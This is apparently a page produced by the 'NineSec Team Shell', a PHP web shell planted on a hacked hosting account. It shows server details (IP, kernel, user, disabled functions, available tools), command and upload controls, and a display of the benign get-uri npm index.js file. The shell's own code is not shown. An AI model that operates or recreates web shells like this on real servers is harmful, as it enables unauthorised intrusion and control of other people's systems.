NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/get-uri/dist/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/get-uri/dist/index.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
const debug_1 = __importDefault(require("debug"));
const url_1 = require("url");
// Built-in protocols
const data_1 = __importDefault(require("./data"));
const file_1 = __importDefault(require("./file"));
const ftp_1 = __importDefault(require("./ftp"));
const http_1 = __importDefault(require("./http"));
const https_1 = __importDefault(require("./https"));
const debug = debug_1.default('get-uri');
function getUri(uri, opts, fn) {
    const p = new Promise((resolve, reject) => {
        debug('getUri(%o)', uri);
        if (typeof opts === 'function') {
            fn = opts;
            opts = undefined;
        }
        if (!uri) {
            reject(new TypeError('Must pass in a URI to "get"'));
            return;
        }
        const parsed = url_1.parse(uri);
        // Strip trailing `:`
        const protocol = (parsed.protocol || '').replace(/:$/, '');
        if (!protocol) {
            reject(new TypeError(`URI does not contain a protocol: ${uri}`));
            return;
        }
        const getter = getUri.protocols[protocol];
        if (typeof getter !== 'function') {
            throw new TypeError(`Unsupported protocol "${protocol}" specified in URI: ${uri}`);
        }
        resolve(getter(parsed, opts || {}));
    });
    if (typeof fn === 'function') {
        p.then(rtn => fn(null, rtn), err => fn(err));
    }
    else {
        return p;
    }
}
(function (getUri) {
    getUri.protocols = {
        data: data_1.default,
        file: file_1.default,
        ftp: ftp_1.default,
        http: http_1.default,
        https: https_1.default
    };
})(getUri || (getUri = {}));
module.exports = getUri;
//# sourceMappingURL=index.js.map

NineSec Team - 2022